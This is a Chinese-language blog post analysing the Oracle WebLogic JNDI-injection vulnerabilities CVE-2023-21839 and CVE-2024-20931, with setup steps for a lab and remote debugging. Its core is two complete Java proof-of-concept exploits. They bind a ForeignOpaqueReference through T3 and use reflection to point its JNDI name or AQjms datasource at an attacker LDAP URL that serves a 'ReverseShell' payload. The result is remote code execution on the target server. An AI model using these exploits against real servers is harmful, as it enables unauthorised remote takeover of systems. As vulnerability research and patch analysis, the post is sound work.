首页 > 其他分享 >weblogic CVE-2024-20931分析

weblogic CVE-2024-20931分析

时间:2024-02-21 19:11:21浏览次数:30  
标签:20931 Server 2024 JNDI WebLogic Context weblogic import CVE

weblogic 12.2.1.4.0安装

我的环境:ubuntu 22.04 + weblogic 12.2.1.4.0 + jdk8(注:weblogic不支持OpenJDK)
jdk下载安装:https://www.oracle.com/cn/java/technologies/downloads/archive/
weblogic下载安装:https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html

JDK安装完成后装weblogic,简单配置账号密码等,一路下一步即可。

poc依赖包

wlfullclient.jar 包含了与 WebLogic Server 实例交互所需的客户端库。这些库提供了连接到 WebLogic Server、执行各种操作以及访问资源(如 JNDI、JMS、JDBC 等)所需的 API 和类。使用 wlfullclient.jar 文件时,通常需要将其包含在 Java 项目的类路径中。这样,您的应用程序就可以访问 WebLogic Server 客户端 API,并利用 WebLogic Server 提供的功能。

如何生成wlfullclient.jar?

java -jar /home/vpanda/Oracle/Middleware/Oracle_Home/wlserver/modules/com.bea.core.jarbuilder.jar

cd /home/vpanda/Oracle/Middleware/Oracle_Home/wlserver/server/lib/
#生成后在poc的时候作为client依赖包导入

weblogic远程debug调试环境

在setDomainEnv.sh添加,开启远程调试端口9999

debugFlag=true
DEBUG_PORT=9999

打包wlserver在调试环境导入项目后添加Remote JVM Debug

T3/IIOP协议

WebLogic T3/IIOP(T3 over IIOP)协议是 Oracle WebLogic Server 使用的一种通信协议。它结合了 WebLogic Server 的 T3 协议和 OMG(Object Management Group)定义的 IIOP(Internet Inter-ORB Protocol)协议。

T3 是 WebLogic Server 的专有协议,用于在 WebLogic Server 节点之间进行通信。它提供了高性能、可靠的通信机制,支持各种服务和功能,如远程方法调用(RMI)、Java Messaging Service(JMS)等。T3 协议是 WebLogic Server 的核心协议,用于实现集群、负载均衡、故障恢复等关键功能。

协议支持远程绑定对象(Remote Object Binding)到服务端。通过远程绑定,您可以将一个对象绑定到 WebLogic Server 上的命名服务(Naming Service),使得其他客户端可以通过名称来访问和使用该对象。

WebLogic Server 提供了 JNDI(Java Naming and Directory Interface)作为命名服务的实现。JNDI 是 Java 平台的标准 API,用于访问和管理命名和目录服务。通过 JNDI,您可以在 WebLogic Server 上创建和管理命名空间,并在其中绑定对象。

要将一个对象绑定到 WebLogic Server 上的命名服务,您需要执行以下步骤:

  1. 在 WebLogic Server 上配置和启动 JNDI 服务。这可以通过 WebLogic Server 的管理控制台或配置文件进行设置。
  2. 在客户端代码中,创建一个要绑定的对象,并将其绑定到 JNDI 上下文(Context)。您可以使用 Java 的 RMI(Remote Method Invocation)或其他远程调用机制来实现对象的远程访问。
  3. 在客户端代码中,通过 JNDI API 获取到 WebLogic Server 上的 JNDI 上下文。
  4. 在客户端代码中,使用 JNDI API 将对象绑定到 JNDI 上下文中的特定名称。
  5. 在客户端代码中,其他客户端可以通过 JNDI API 在 WebLogic Server 上查找并获取绑定的对象。

通过这种方式,您可以在 WebLogic Server 上实现对象的远程绑定,并使得其他客户端能够通过名称来访问和使用这些对象。这种方式非常适用于分布式系统和企业应用集成,可以实现跨平台、跨语言的对象通信和共享。

代码示例:

import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Properties;

public class RemoteBindingExample {
    public static void main(String[] args) {
        try {
            // 设置 WebLogic Server 的连接属性
            Properties props = new Properties();
            props.setProperty(Context.INITIAL_CONTEXT_FACTORY, "weblogic.jndi.WLInitialContextFactory");
            props.setProperty(Context.PROVIDER_URL, "t3://localhost:7001");

            // 创建 JNDI 上下文
            Context context = new InitialContext(props);

            // 创建要绑定的对象
            MyRemoteObject remoteObject = new MyRemoteObject();

            // 将对象绑定到 JNDI 上下文中的特定名称
            context.rebind("myObject", remoteObject);

            System.out.println("对象绑定成功!");

            // 关闭 JNDI 上下文
            context.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

CVE-2023-21839

如果我们将remoteObject替换成一个ForeignOpaqueReference对象,由于ForeignOpaqueReference集成自OpaqueReference,进行lookup的时候会调用对象getReferent方法。最终会调用context.lookup(evalMacros(this.remoteJNDIName));

对remoteJNDIName值更改为ldap远程执行地址即可实现RCE。

另外加上jndiEnvironment的检测,所以ForeignOpaqueReference对象绑定时候,对remoteJNDIName值做反射修改即可。

package org.example.CVE202321839;
import weblogic.deployment.jms.ForeignOpaqueReference;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.lang.reflect.Field;
import java.util.Hashtable;
import java.util.Properties;

public class Main {
    public static void main(String[] args) throws Exception {

        Properties props = new Properties();
        props.setProperty(Context.INITIAL_CONTEXT_FACTORY, "weblogic.jndi.WLInitialContextFactory");
        props.setProperty(Context.PROVIDER_URL, "t3://192.168.131.139:7001");

        Context context = new InitialContext(props);

        ForeignOpaqueReference f = new ForeignOpaqueReference();

        Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
        remoteJNDIName.setAccessible(true);
        String ldap = "ldap://xxxxxx:1389/Basic/ReverseShell/xxxx/12345";
        remoteJNDIName.set(f, ldap);

        context.rebind("sectest", f);
        try {
            context.lookup("sectest");
        } catch (Exception e) {
        }
    }
}

CVE-2023-21839补丁限制

补丁对ForeignOpaqueReference的jndiEnvironment和remoteJNDIName都做了限制。

CVE-2024-20931

INITIAL_CONTEXT_FACTORY 是 JNDI API 中的一个常量,用于指定要使用的初始上下文工厂类。它在创建 JNDI 上下文对象时使用,用于指定要使用的上下文工厂类。AQjmsInitialContextFactory在初始化的时候,需要通过JNDI去获取远程的DataSource,通过这个初始化也可以发起JNDI注入。

package org.example.CVE202420931;
import weblogic.deployment.jms.ForeignOpaqueReference;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.lang.reflect.Field;
import java.util.Hashtable;
import java.util.Properties;

public class Main {
    public static void main(String[] args) throws Exception {

        Properties props = new Properties();
        props.setProperty(Context.INITIAL_CONTEXT_FACTORY, "weblogic.jndi.WLInitialContextFactory");
        props.setProperty(Context.PROVIDER_URL, "t3://192.168.131.139:7001");

        Context context = new InitialContext(props);

        Hashtable env2 = new Hashtable();
        env2.put("java.naming.factory.initial", "oracle.jms.AQjmsInitialContextFactory");
        env2.put("datasource", "ldap://xxxxx:1389/Basic/ReverseShell/xxxx/12347");
        ForeignOpaqueReference f = new ForeignOpaqueReference();
        Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
        jndiEnvironment.setAccessible(true);
        jndiEnvironment.set(f, env2);

        context.rebind("sectest", f);
        try {
            context.lookup("sectest");
        } catch (Exception e) {
        }
    }
}

参考链接:

1.https://www.oracle.com/security-alerts/cpujan2024verbose.html

2.https://glassyamadeus.github.io/2024/01/31/CVE_2024_20931/

更多关于云计算与安全内容,请关注公众号

标签:20931,Server,2024,JNDI,WebLogic,Context,weblogic,import,CVE
From: https://www.cnblogs.com/vpandaxjl/p/18026030

相关文章

  • 2024年!vscode和clangd的配置
    前言Ubuntu20系统下,使用vscode和clangd来进行代码补全和拼写检查.安装vscode直接从Ubuntu的应用商店下载vscode.安装clangd$sudoaptinstallclangd安装vscode插件-clangdvscode安装clangd插件不需要对clangd插件进行配置.不需要对clangd插件进......
  • 【CVE-2024-21626】容器逃逸漏洞修复
    哈喽大家好,我是咸鱼。好久不见,最近有一个很火的CVE——runc容器逃逸漏洞。年前的时候我们已经在测试环境进行了相关操作打算年后线上进行修复。因为今天咸鱼才开工,所以文章也就拖到了现在......
  • Weblogic XMLDecoder反序列化漏洞(CVE-2017-10271)复现
    0x00漏洞简介OracleFusionMiddleware(Oracle融合中间件)是美国甲骨文(Oracle)公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。OracleWebLogicServer是其中的一个适用于云环境和传统环境的应用服务器组件。OracleFusionMiddleware中的Oracle......
  • Apache Shiro反序列化漏洞 (CVE-2016-4437)复现
    0x00漏洞简介ApacheShiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。ApacheShiro1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触......
  • 2024-02-21 js 工具类(一行代码)
    1.获取浏览器Cookie的值constcookie=name=>`;${document.cookie}`.split(`;${name}=`).pop().split(';').shift();cookie('_ga');//Result:"GA1.2.1929736587.1601974046"2.将RGB转换为十六进制constrgbToHex=(r,g,b)=>&......
  • 20240221总结
    P4311士兵占领考虑先把棋盘放满,判掉无解,并把问题转化为拿走最多的棋子。这个问题就一眼最大流了,对于行和列分别建M,N个节点,源点向行节点连流量为该行最多可删个数的边,列节点向汇点连该列最多可删个数的边,对于每个可放士兵的(i,j),从行节点i向列节点j连一条流量为1的边,跑最大流......
  • 2024.2.21 LGJ Round
    A你在平面上有\(n\)个点,你每次可以从一个点跳到其右下或左上任意的点,|对每个点\(i\),求所有点到\(i\)至少跳多少次的和。点的坐标值域为\(M=2500\)。\(n\le2.5e5\).我们先考虑某个点,到所有点跳多少次。首先右下,左上都是跳一次即可。我们先考虑右上的点怎么办。我们一定......
  • 2024年2月中国数据库排行榜:PolarDB夺魁首登顶,TiDB攀升回探花
    银装素裹覆大地,春意初醒待来临。2024年2月墨天轮中国数据库流行度榜单出炉,表现最亮眼的无疑是PolarDB,其自23年7月以来一路高歌猛进,此次更是一举夺魁,彰显了云原生数据库的蓬勃发展态势,OceanBase、TiDB紧接拿下榜眼探花。榜单前十中,开源与商业平分秋色、各家数据库乘云直上,你追我赶......
  • 2024牛客寒假算法基础集训营4
    2024牛客寒假算法基础集训营4比赛地址A.柠檬可乐思路:简单的模拟,按照题目描述判断大小即可Code#include<bits/stdc++.h>usingnamespacestd;#defineintlonglong#defineall(x)x.begin()+1,x.end()voidsolve(){ inta,b,k; cin>>a>>b>>k; if(a>=k*b)cout<<&qu......
  • 2024年十大磁力搜索引擎排名下载教程-JAVA
    磁力技术相对比较顶尖的几大磁力厂商推荐使用磁力导航  www.okeyl.com随着互联网的发展,搜索引擎已经成为人们日常生活中必不可少的工具之一。每当我们想查找信息时,我们都会去使用搜索引擎。然而,在众多的搜索引擎中,哪些才是真正有用的呢?下面我们就来探讨一下搜索引擎前十排名。......